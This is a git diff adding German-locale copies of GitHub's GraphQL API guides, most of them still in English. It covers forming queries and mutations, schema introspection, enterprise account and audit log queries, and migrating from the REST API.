+This process makes the query argument dynamic. We can now simply change the value in the `variables` object and keep the rest of the query the same.
+
+Using variables as arguments lets you dynamically update values in the `variables` object without changing the query.
+
+## Example query
+
+Let's walk through a more complex query and put this information in context.
+
+The following query looks up the `octocat/Hello-World` repository, finds the 20 most recent closed issues, and returns each issue's title, URL, and first 5 labels:
+
+```graphql
+query {
+  repository(owner:"octocat", name:"Hello-World") {
+    issues(last:20, states:CLOSED) {
+      edges {
+        node {
+          title
+          url
+          labels(first:5) {
+            edges {
+              node {
+                name
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+Looking at the composition line by line:
+
+* `query {`
+
+  Because we want to read data from the server, not modify it, `query` is the root operation. (If you don't specify an operation, `query` is also the default.)
+
+* `repository(owner:"octocat", name:"Hello-World") {`
+
+  To begin the query, we want to find a [`repository`](/graphql/reference/objects#repository) object. The schema validation indicates this object requires an `owner` and a `name` argument.
+
+* `issues(last:20, states:CLOSED) {`
+
+  To account for all issues in the repository, we call the `issues` object. (We _could_ query a single `issue` on a `repository`, but that would require us to know the number of the issue we want to return and provide it as an argument.)
+
+  Some details about the `issues` object:
+
+  - The [docs](/graphql/reference/objects#repository) tell us this object has the type `IssueConnection`.
+  - Schema validation indicates this object requires a `last` or `first` number of results as an argument, so we provide `20`.
+  - The [docs](/graphql/reference/objects#repository) also tell us this object accepts a `states` argument, which is an  [`IssueState`](/graphql/reference/enums#issuestate) enum that accepts `OPEN` or `CLOSED` values. To find only closed issues, we give the `states` key a value of `CLOSED`.
+
+* `edges {`
+
+  We know `issues` is a connection because it has the `IssueConnection` type. To retrieve data about individual issues, we have to access the node via `edges`.
+
+* `node {`
+
+  Here we retrieve the node at the end of the edge. The [`IssueConnection` docs](/graphql/reference/objects#issueconnection) indicate the node at the end of the `IssueConnection` type is an `Issue` object.
+
+* Now that we know we're retrieving an `Issue` object, we can look at the [docs](/graphql/reference/objects#issue) and specify the fields we want to return:
+
+  ```graphql
+  title
+  url
+  labels(first:5) {
+    edges {
+      node {
+        name
+      }
+    }
+  }
+  ```
+
+  Here we specify the `title`, `url`, and `labels` fields of the `Issue` object.
+
+  The `labels` field has the type [`LabelConnection`](/graphql/reference/objects#labelconnection). As with the `issues` object, because `labels` is a connection, we must travel its edges to a connected node: the `label` object. At the node, we can specify the `label` object fields we want to return, in this case, `name`.
+
+You may notice that running this query on the Octocat's {% ifversion not ghae %}public{% endif %} `Hello-World` repository won't return many labels. Try running it on one of your own repositories that does use labels, and you'll likely see a difference.
+
+## Example mutation
+
+Mutations often require information that you can only find out by performing a query first. This example shows two operations:
+
+1. A query to get an issue ID.
+2. A mutation to add an emoji reaction to the issue.
+
+```graphql
+query FindIssueID {
+  repository(owner:"octocat", name:"Hello-World") {
+    issue(number:349) {
+      id
+    }
+  }
+}
+
+mutation AddReactionToIssue {
+  addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {
+    reaction {
+      content
+    }
+    subject {
+      id
+    }
+  }
+}
+```
+
+{% tip %}
+
+Although you can include a query and a mutation in the same Explorer window if you give them names (`FindIssueID` and `AddReactionToIssue` in this example), the operations will be executed as separate calls to the GraphQL endpoint. It's not possible to perform a query at the same time as a mutation, or vice versa.
+
+{% endtip %}
+
+Let's walk through the example. The task sounds simple: add an emoji reaction to an issue.
+
+So how do we know to begin with a query? We don't, yet.
+
+Because we want to modify data on the server (attach an emoji to an issue), we begin by searching the schema for a helpful mutation. The reference docs show the [`addReaction`](/graphql/reference/mutations#addreaction) mutation, with this description: `Adds a reaction to a subject.` Perfect!
+
+The docs for the mutation list three input fields:
+
+* `clientMutationId` (`String`)
+* `subjectId` (`ID!`)
+* `content` (`ReactionContent!`)
+
+The `!`s indicate that `subjectId` and `content` are required fields. A required `content` makes sense: we want to add a reaction, so we'll need to specify which emoji to use.
+
+But why is `subjectId` required? It's because the `subjectId` is the only way to identify _which_ issue in _which_ repository to react to.
+
+This is why we start this example with a query: to get the `ID`.
+
+Let's examine the query line by line:
+
+* `query FindIssueID {`
+
+  Here we're performing a query, and we name it `FindIssueID`. Note that naming a query is optional; we give it a name here so that we can include it in same Explorer window as the mutation.
+
+* `repository(owner:"octocat", name:"Hello-World") {`
+
+  We specify the repository by querying the `repository` object and passing `owner` and `name` arguments.
+
+* `issue(number:349) {`
+
+  We specify the issue to react to by querying the `issue` object and passing a `number` argument.
+
+* `id`
+
+  This is where we retrieve the `id` of `https://github.com/octocat/Hello-World/issues/349` to pass as the `subjectId`.
+
+When we run the query, we get the `id`: `MDU6SXNzdWUyMzEzOTE1NTE=`
+
+{% tip %}
+
+**Note**: The `id` returned in the query is the value we'll pass as the `subjectID` in the mutation. Neither the docs nor schema introspection will indicate this relationship; you'll need to understand the concepts behind the names to figure this out.
+
+{% endtip %}
+
+With the ID known, we can proceed with the mutation:
+
+* `mutation AddReactionToIssue {`
+
+  Here we're performing a mutation, and we name it `AddReactionToIssue`. As with queries, naming a mutation is optional; we give it a name here so we can include it in the same Explorer window as the query.
+
+* `addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {`
+
+  Let's examine this line:
+
+  - `addReaction` is the name of the mutation.
+  - `input` is the required argument key. This will always be `input` for a mutation.
+  - `{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}` is the required argument value. This will always be an [input object](/graphql/reference/input-objects) (hence the curly braces) composed of input fields (`subjectId` and `content` in this case) for a mutation.
+
+  How do we know which value to use for the content? The [`addReaction` docs](/graphql/reference/mutations#addreaction) tell us the `content` field has the type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an [enum](/graphql/reference/enums) because only certain emoji reactions are supported on GitHub issues. These are the allowed values for reactions (note some values differ from their corresponding emoji names):
+
+  {% data reusables.repositories.reaction_list %}
+
+* The rest of the call is composed of the payload object. This is where we specify the data we want the server to return after we've performed the mutation. These lines come from the [`addReaction` docs](/graphql/reference/mutations#addreaction), which three possible return fields:
+
+    - `clientMutationId` (`String`)
+    - `reaction` (`Reaction!`)
+    - `subject` (`Reactable!`)
+
+  In this example, we return the two required fields (`reaction` and `subject`), both of which have required subfields (respectively, `content` and `id`).
+
+When we run the mutation, this is the response:
+
+```json
+{
+  "data": {
+    "addReaction": {
+      "reaction": {
+        "content": "HOORAY"
+      },
+      "subject": {
+        "id": "MDU6SXNzdWUyMTc5NTQ0OTc="
+      }
+    }
+  }
+}
+```
+
+That's it! Check out your [reaction to the issue](https://github.com/octocat/Hello-World/issues/349) by hovering over the :tada: to find your username.
+
+One final note: when you pass multiple fields in an input object, the syntax can get unwieldy. Moving the fields into a [variable](#working-with-variables) can help. Here's how you could rewrite the original mutation using a variable:
+
+```graphql
+mutation($myVar:AddReactionInput!) {
+  addReaction(input:$myVar) {
+    reaction {
+      content
+    }
+    subject {
+      id
+    }
+  }
+}
+variables {
+  "myVar": {
+    "subjectId":"MDU6SXNzdWUyMTc5NTQ0OTc=",
+    "content":"HOORAY"
+  }
+}
+```
+
+{% note %}
+
+You may notice that the `content` field value in the earlier example (where it's used directly in the mutation) does not have quotes around `HOORAY`, but it does have quotes when used in the variable. There's a reason for this:
+* When you use `content` directly in the mutation, the schema expects the value to be of type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an _enum_, not a string. Schema validation will throw an error if you add quotes around the enum value, as quotes are reserved for strings.
+* When you use `content` in a variable, the variables section must be valid JSON, so the quotes are required. Schema validation correctly interprets the `ReactionContent` type when the variable is passed into the mutation during execution.
+
+For more information on the difference between enums and strings, see the [official GraphQL spec](https://graphql.github.io/graphql-spec/June2018/#sec-Enums).
+
+{% endnote %}
+
+## Further reading
+
+There is a _lot_ more you can do when forming GraphQL calls. Here are some places to look next:
+
+* [Pagination](https://graphql.org/learn/pagination/)
+* [Fragments](https://graphql.org/learn/queries/#fragments)
+* [Inline fragments](https://graphql.org/learn/queries/#inline-fragments)
+* [Directives](https://graphql.org/learn/queries/#directives)
diff --git a/translations/de-DE/content/graphql/guides/index.md b/translations/de-DE/content/graphql/guides/index.md
new file mode 100644
index 0000000000..abaa294521
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/index.md
@@ -0,0 +1,29 @@
+---
+title: Anleitungen
+intro: 'Erfahre mehr über die ersten Schritte mit GraphQL, die Migration von REST zu GraphQL und wie du die GitHub GraphQL-API für eine Vielzahl von Aufgaben nutzen kannst.'
+redirect_from:
+  - /v4/guides
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+children:
+  - /introduction-to-graphql
+  - /forming-calls-with-graphql
+  - /using-global-node-ids
+  - /migrating-from-rest-to-graphql
+  - /using-the-explorer
+  - /managing-enterprise-accounts
+  - /using-the-graphql-api-for-discussions
+  - /migrating-graphql-global-node-ids
+ms.openlocfilehash: a87c50bc652766b8a23845ea1ace011c41da5131
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068475'
+---
+
diff --git a/translations/de-DE/content/graphql/guides/introduction-to-graphql.md b/translations/de-DE/content/graphql/guides/introduction-to-graphql.md
new file mode 100644
index 0000000000..8459cf109f
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/introduction-to-graphql.md
@@ -0,0 +1,143 @@
+---
+title: Introduction to GraphQL
+intro: Learn useful terminology and concepts for using the GitHub GraphQL API.
+redirect_from:
+  - /v4/guides/intro-to-graphql
+  - /graphql/guides/intro-to-graphql
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## GraphQL terminology
+
+The GitHub GraphQL API represents an architectural and conceptual shift from the GitHub REST API. You will likely encounter some new terminology in the GraphQL API [reference docs](/graphql).
+
+## Schema
+
+A schema defines a GraphQL API's type system. It describes the complete set of possible data (objects, fields, relationships, everything) that a client can access. Calls from the client are [validated](https://graphql.github.io/learn/validation/) and [executed](https://graphql.github.io/learn/execution/) against the schema. A client can find information about the schema via [introspection](#discovering-the-graphql-api). A schema resides on the GraphQL API server. For more information, see "[Discovering the GraphQL API](#discovering-the-graphql-api)."
+
+## Field
+
+A field is a unit of data you can retrieve from an object. As the [official GraphQL docs](https://graphql.github.io/learn/schema/) say:
+"The GraphQL query language is basically about selecting fields on objects."
+
+The [official spec](https://graphql.github.io/graphql-spec/June2018/#sec-Language.Fields) also says about fields:
+
+> All GraphQL operations must specify their selections down to fields which return scalar values to ensure an unambiguously shaped response.
+
+This means that if you try to return a field that is not a scalar, schema validation will throw an error. You must add nested subfields until all fields return scalars.
+
+## Argument
+
+An argument is a set of key-value pairs attached to a specific field. Some fields require an argument. [Mutations](/graphql/guides/forming-calls-with-graphql#about-mutations) require an input object as an argument.
+
+## Implementation
+
+A GraphQL schema may use the term _implements_ to define how an object inherits from an [interface](/graphql/reference/interfaces).
+
+Here's a contrived example of a schema that defines interface `X` and object `Y`:
+
+```
+interface X {
+  some_field: String!
+  other_field: String!
+}
+
+type Y implements X {
+  some_field: String!
+  other_field: String!
+  new_field: String!
+}
+```
+
+This means object `Y` requires the same fields/arguments/return types that interface `X` does, while adding new fields specific to object `Y`. (The `!` means the field is required.)
+
+In the reference docs, you'll find that:
+
+* Each [object](/graphql/reference/objects) lists the interface(s) _from which it inherits_ under **Implements**.
+
+* Each [interface](/graphql/reference/interfaces) lists the objects _that inherit from it_ under **Implementations**.
+
+## Connection
+
+Connections let you query related objects as part of the same call. With connections, you can use a single GraphQL call where you would have to use multiple calls to a REST API. For more information, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)."
+
+It's helpful to picture a graph: dots connected by lines. The dots are nodes, the lines are edges. A connection defines a relationship between nodes.
+
+## Edge
+
+Edges represent connections between nodes. When you query a connection, you traverse its edges to get to its nodes. Every `edges` field has a `node` field and a `cursor` field. Cursors are used for [pagination](https://graphql.github.io/learn/pagination/).
+
+## Node
+
+_Node_ is a generic term for an object. You can look up a node directly, or you can access related nodes via a connection. If you specify a `node` that does not return a [scalar](/graphql/reference/scalars), you must include subfields until all fields return scalars. For information on accessing node IDs via the REST API and using them in GraphQL queries, see "[Using Global Node IDs](/graphql/guides/using-global-node-ids)."
+
+## Discovering the GraphQL API
+
+GraphQL is [introspective](https://graphql.github.io/learn/introspection/). This means you can query a GraphQL schema for details about itself.
+
+* Query `__schema` to list all types defined in the schema and get details about each:
+
+  ```graphql
+  query {
+    __schema {
+      types {
+        name
+        kind
+        description
+        fields {
+          name
+        }
+      }
+    }
+  }
+  ```
+
+* Query `__type` to get details about any type:
+
+  ```graphql
+  query {
+    __type(name: "Repository") {
+      name
+      kind
+      description
+      fields {
+        name
+      }
+    }
+  }
+  ```
+
+* You can also run an _introspection query_ of the schema via a `GET` request:
+
+  ```shell
+  $ curl -H "Authorization: bearer TOKEN" {% data variables.product.graphql_url_pre %}
+  ```
+  
+  {% note %}
+
+  **Note**: If you get the response `"message": "Bad credentials"` or `401 Unauthorized`, check that you are using a valid token. The GraphQL API only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." 
+
+  {% endnote %}
+  
+  The results are in JSON, so we recommend pretty-printing them for easier reading and searching. You can use a command-line tool like [jq](https://stedolan.github.io/jq/) or pipe the results into `python -m json.tool` for this purpose.
+  
+  Alternatively, you can pass the `idl` media type to return the results in IDL format, which is a condensed version of the schema:
+
+  ```shell
+  $ curl -H "Authorization: bearer TOKEN" -H "Accept: application/vnd.github.v4.idl" \
+  {% data variables.product.graphql_url_pre %}
+  ```
+
+  {% note %}
+
+  **Note**: The introspection query is probably the only `GET` request you'll run in GraphQL. If you're passing a body, the GraphQL request method is `POST`, whether it's a query or a mutation.
+
+  {% endnote %}
+
+  For more information about performing queries, see "[Forming calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
diff --git a/translations/de-DE/content/graphql/guides/managing-enterprise-accounts.md b/translations/de-DE/content/graphql/guides/managing-enterprise-accounts.md
new file mode 100644
index 0000000000..354bd50661
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/managing-enterprise-accounts.md
@@ -0,0 +1,300 @@
+---
+title: Managing enterprise accounts
+intro: You can manage your enterprise account and the organizations it owns with the GraphQL API.
+redirect_from:
+  - /v4/guides/managing-enterprise-accounts
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+shortTitle: Manage enterprise accounts
+---
+
+## About managing enterprise accounts with GraphQL
+
+To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs.
+
+The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server.
+
+GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account.
+
+With the Audit Log API, you can monitor when someone:
+- Accesses your organization or repository settings.
+- Changes permissions.
+- Adds or removes users in an organization, repository, or team.
+- Promotes users to admin.
+- Changes permissions of a GitHub App.
+
+The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)."
+
+With the Enterprise Accounts API, you can:
+- List and review all of the organizations and repositories that belong to your enterprise account.
+- Change Enterprise account settings.
+- Configure policies for settings on your enterprise account and its organizations.
+- Invite administrators to your enterprise account.
+- Create new organizations in your enterprise account.
+
+For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)."
+
+## Getting started using GraphQL for enterprise accounts
+
+Follow these steps to get started using GraphQL to manage your enterprise accounts:
+ - Authenticating with a {% data variables.product.pat_generic %}
+ - Choosing a GraphQL client or using the GraphQL Explorer
+ - Setting up Insomnia to use the GraphQL API
+
+For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)."
+
+### 1. Authenticate with your {% data variables.product.pat_generic %}
+
+{% data reusables.user-settings.graphql-classic-pat-only %}
+
+1. To authenticate with GraphQL, you need to generate a {% data variables.product.pat_generic %} from developer settings. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+2. Grant admin and full control permissions to your {% data variables.product.pat_generic %} for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your {% data variables.product.pat_generic %}:
+    - `repo`
+    - `admin:org`
+    - `user`
+    - `admin:enterprise`
+
+  The enterprise account specific scopes are:
+    - `admin:enterprise`: Gives full control of enterprises (includes `manage_runners:enterprise`, `manage_billing:enterprise` and `read:enterprise`)
+    - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes or ghae %}
+    - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %}
+    - `read:enterprise`: Read enterprise profile data.
+
+3. Copy your {% data variables.product.pat_generic %} and keep it in a secure place until you add it to your GraphQL client.
+
+### 2. Choose a GraphQL client
+
+We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL.
+
+You may also consider using these GraphQL clients:
+  - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries)
+  - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/)
+  - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/)
+
+The next steps will use Insomnia.
+
+### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts
+
+1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax:
+    - For your enterprise instance: `https://<HOST>/api/graphql`
+    - For GitHub Enterprise Cloud: `https://api.github.com/graphql`
+
+2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your {% data variables.product.pat_generic %} that you copied earlier.
+
+ ![Permissions options for {% data variables.product.pat_generic %}](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
+
+ ![Permissions options for {% data variables.product.pat_generic %}](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
+
+3. Include header information.
+   - Add `Content-Type` as the header and `application/json` as the value.
+   ![Standard header](/assets/images/developer/graphql/json-content-type-header.png)
+   ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png)
+
+Now you are ready to start making queries.
+
+## An example query using the Enterprise Accounts API
+
+This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
+
+{% ifversion not ghae %}
+
+```graphql
+query publicRepositoriesByOrganization($slug: String!) {
+  enterprise(slug: $slug) {
+    ...enterpriseFragment
+  }
+}
+
+fragment enterpriseFragment on Enterprise {
+  ... on Enterprise{
+    name
+    organizations(first: 100){
+      nodes{
+        name
+        ... on Organization{
+          name
+          repositories(privacy: PUBLIC){
+            totalCount
+          }
+        }
+      }
+    }
+  }
+}
+
+# Passing our Enterprise Account as a variable
+variables {
+  "slug": "<enterprise-account-name>"
+}
+```
+
+{% else %}
+
+```graphql
+query privateRepositoriesByOrganization($slug: String!) {
+  enterprise(slug: $slug) {
+    ...enterpriseFragment
+  }
+}
+
+fragment enterpriseFragment on Enterprise {
+  ... on Enterprise{
+    name
+    organizations(first: 100){
+      nodes{
+        name
+        ... on Organization{
+          name
+          repositories(privacy: PRIVATE){
+            totalCount
+          }
+        }
+      }
+    }
+  }
+}
+
+# Passing our Enterprise Account as a variable
+variables {
+  "slug": "<enterprise-account-name>"
+}
+```
+{% endif %}
+
+The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API.  Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance.
+
+{% ifversion not ghae %}
+```graphql
+# Each organization is queried separately
+{
+  organizationOneAlias: organization(login: "nameOfOrganizationOne") {
+    # How to use a fragment
+    ...repositories
+  }
+  organizationTwoAlias: organization(login: "nameOfOrganizationTwo") {
+    ...repositories
+  }
+  # organizationThreeAlias ... and so on up-to lets say 100
+}
+
+## How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PUBLIC){
+    totalCount
+  }
+}
+```
+{% else %}
+```graphql
+# Each organization is queried separately
+{
+  organizationOneAlias: organization(login: "name-of-organization-one") {
+    # How to use a fragment
+    ...repositories
+  }
+  organizationTwoAlias: organization(login: "name-of-organization-two") {
+    ...repositories
+  }
+  # organizationThreeAlias ... and so on up-to lets say 100
+}
+
+## How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PRIVATE){
+    totalCount
+  }
+}
+```
+{% endif %}
+
+## Query each organization separately
+
+{% ifversion not ghae %}
+
+```graphql
+query publicRepositoriesByOrganization {
+  organizationOneAlias: organization(login: "<name-of-organization-one>") {
+    # How to use a fragment
+    ...repositories
+  }
+  organizationTwoAlias: organization(login: "<name-of-organization-two>") {
+    ...repositories
+  }
+  # organizationThreeAlias ... and so on up-to lets say 100
+}
+# How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PUBLIC){
+    totalCount
+  }
+}
+```
+
+{% else %}
+
+```graphql
+query privateRepositoriesByOrganization {
+  organizationOneAlias: organization(login: "<name-of-organization-one>") {
+    # How to use a fragment
+    ...repositories
+  }
+  organizationTwoAlias: organization(login: "<name-of-organization-two>") {
+    ...repositories
+  }
+  # organizationThreeAlias ... and so on up-to lets say 100
+}
+# How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PRIVATE){
+    totalCount
+  }
+}
+```
+
+{% endif %}
+
+This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`.
+
+```graphql
+{
+  organization(login: "<org-name>") {
+    auditLog(last: 5, query: "actor:<user-name>") {
+      edges {
+        node {
+          ... on AuditEntry {
+# Get Audit Log Entry by 'Action'
+            action
+            actorLogin
+            createdAt
+# User 'Action' was performed on
+           user{
+              name
+                email
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+
+## GraphQL fields and types for the Enterprise Accounts API
+
+Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API.
+
+For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql).
+
+You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)."
+For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
diff --git a/translations/de-DE/content/graphql/guides/migrating-from-rest-to-graphql.md b/translations/de-DE/content/graphql/guides/migrating-from-rest-to-graphql.md
new file mode 100644
index 0000000000..c79e645a48
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/migrating-from-rest-to-graphql.md
@@ -0,0 +1,215 @@
+---
+title: Migrating from REST to GraphQL
+intro: 'Learn best practices and considerations for migrating from {% data variables.product.prodname_dotcom %}''s REST API to {% data variables.product.prodname_dotcom %}''s GraphQL API.'
+redirect_from:
+  - /v4/guides/migrating-from-rest
+  - /graphql/guides/migrating-from-rest
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+shortTitle: Migrate from REST to GraphQL
+---
+
+## Differences in API logic
+
+{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)."
+
+Migrating from REST to GraphQL represents a significant shift in API logic. The differences between REST as a style and GraphQL as a specification make it difficult&mdash;and often undesirable&mdash;to replace REST API calls with GraphQL API queries on a one-to-one basis. We've included specific examples of migration below.
+
+To migrate your code from the [REST API](/rest) to the GraphQL API:
+
+- Review the [GraphQL spec](https://graphql.github.io/graphql-spec/June2018/)
+- Review GitHub's [GraphQL schema](/graphql/reference)
+- Consider how any existing code you have currently interacts with the GitHub REST API
+- Use [Global Node IDs](/graphql/guides/using-global-node-ids) to reference objects between API versions
+
+Significant advantages of GraphQL include:
+
+- [Getting the data you need and nothing more](#example-getting-the-data-you-need-and-nothing-more)
+- [Nested fields](#example-nesting)
+- [Strong typing](#example-strong-typing)
+
+Here are examples of each.
+
+## Example: Getting the data you need and nothing more
+
+A single REST API call retrieves a list of your organization's members:
+```shell
+curl -v {% data variables.product.api_url_pre %}/orgs/:org/members
+```
+
+The REST payload contains excessive data if your goal is to retrieve only member names and links to avatars. However, a GraphQL query returns only what you specify:
+
+```graphql
+query {
+    organization(login:"github") {
+    membersWithRole(first: 100) {
+      edges {
+        node {
+          name
+          avatarUrl
+        }
+      }
+    }
+  }
+}
+```
+
+Consider another example: retrieving a list of pull requests and checking if each one is mergeable. A call to the REST API retrieves a list of pull requests and their [summary representations](/rest#summary-representations):
+```shell
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls
+```
+
+Determining if a pull request is mergeable requires retrieving each pull request individually for its [detailed representation](/rest#detailed-representations) (a large payload) and checking whether its `mergeable` attribute is true or false:
+```shell
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number
+```
+
+With GraphQL, you could retrieve only the `number` and `mergeable` attributes for each pull request:
+
+```graphql
+query {
+    repository(owner:"octocat", name:"Hello-World") {
+    pullRequests(last: 10) {
+      edges {
+        node {
+          number
+          mergeable
+        }
+      }
+    }
+  }
+}
+```
+
+## Example: Nesting
+
+Querying with nested fields lets you replace multiple REST calls with fewer GraphQL queries. For example, retrieving a pull request along with its commits, non-review comments, and reviews using the **REST API** requires four separate calls:
+```shell
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/commits
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/issues/:number/comments
+curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/reviews
+```
+
+Using the **GraphQL API**, you can retrieve the data with a single query using nested fields:
+
+```graphql
+{
+  repository(owner: "octocat", name: "Hello-World") {
+    pullRequest(number: 1) {
+      commits(first: 10) {
+        edges {
+          node {
+            commit {
+              oid
+              message
+            }
+          }
+        }
+      }
+      comments(first: 10) {
+        edges {
+          node {
+            body
+            author {
+              login
+            }
+          }
+        }
+      }
+      reviews(first: 10) {
+        edges {
+          node {
+            state
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+You can also extend the power of this query by [substituting a variable](/graphql/guides/forming-calls-with-graphql#working-with-variables) for the pull request number.
+
+## Example: Strong typing
+
+GraphQL schemas are strongly typed, making data handling safer.
+
+Consider an example of adding a comment to an issue or pull request using a GraphQL [mutation](/graphql/reference/mutations), and mistakenly specifying an integer rather than a string for the value of [`clientMutationId`](/graphql/reference/mutations#addcomment):
+
+```graphql
+mutation {
+  addComment(input:{clientMutationId: 1234, subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) {
+    clientMutationId
+    commentEdge {
+      node {
+        body
+        repository {
+          id
+          name
+          nameWithOwner
+        }
+        issue {
+          number
+        }
+      }
+    }
+  }
+}
+```
+
+Executing this query returns errors specifying the expected types for the operation:
+
+```json
+{
+  "data": null,
+  "errors": [
+    {
+      "message": "Argument 'input' on Field 'addComment' has an invalid value. Expected type 'AddCommentInput!'.",
+      "locations": [
+        {
+          "line": 3,
+          "column": 3
+        }
+      ]
+    },
+    {
+      "message": "Argument 'clientMutationId' on InputObject 'AddCommentInput' has an invalid value. Expected type 'String'.",
+      "locations": [
+        {
+          "line": 3,
+          "column": 20
+        }
+      ]
+    }
+  ]
+}
+```
+
+Wrapping `1234` in quotes transforms the value from an integer into a string, the expected type:
+
+```graphql
+mutation {
+  addComment(input:{clientMutationId: "1234", subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) {
+    clientMutationId
+    commentEdge {
+      node {
+        body
+        repository {
+          id
+          name
+          nameWithOwner
+        }
+        issue {
+          number
+        }
+      }
+    }
+  }
+}
+```
diff --git a/translations/de-DE/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/de-DE/content/graphql/guides/migrating-graphql-global-node-ids.md
new file mode 100644
index 0000000000..711fc2eaa4
--- /dev/null
+++ b/translations/de-DE/content/graphql/guides/migrating-graphql-global-node-ids.md
@@ -0,0 +1,73 @@
+---
+title: Migrieren globaler GraphQL-Knoten-IDs
+intro: Hier erfährst du mehr über die beiden globalen Knoten-ID-Formate und wie sie vom Legacyformat zum neuen Format migriert werden.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+shortTitle: Migrating global node IDs
+ms.openlocfilehash: 7d62d81e52b848e4fb8b5f6b2bae9997e0ac1209
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147717853'
+---
+## Hintergrund
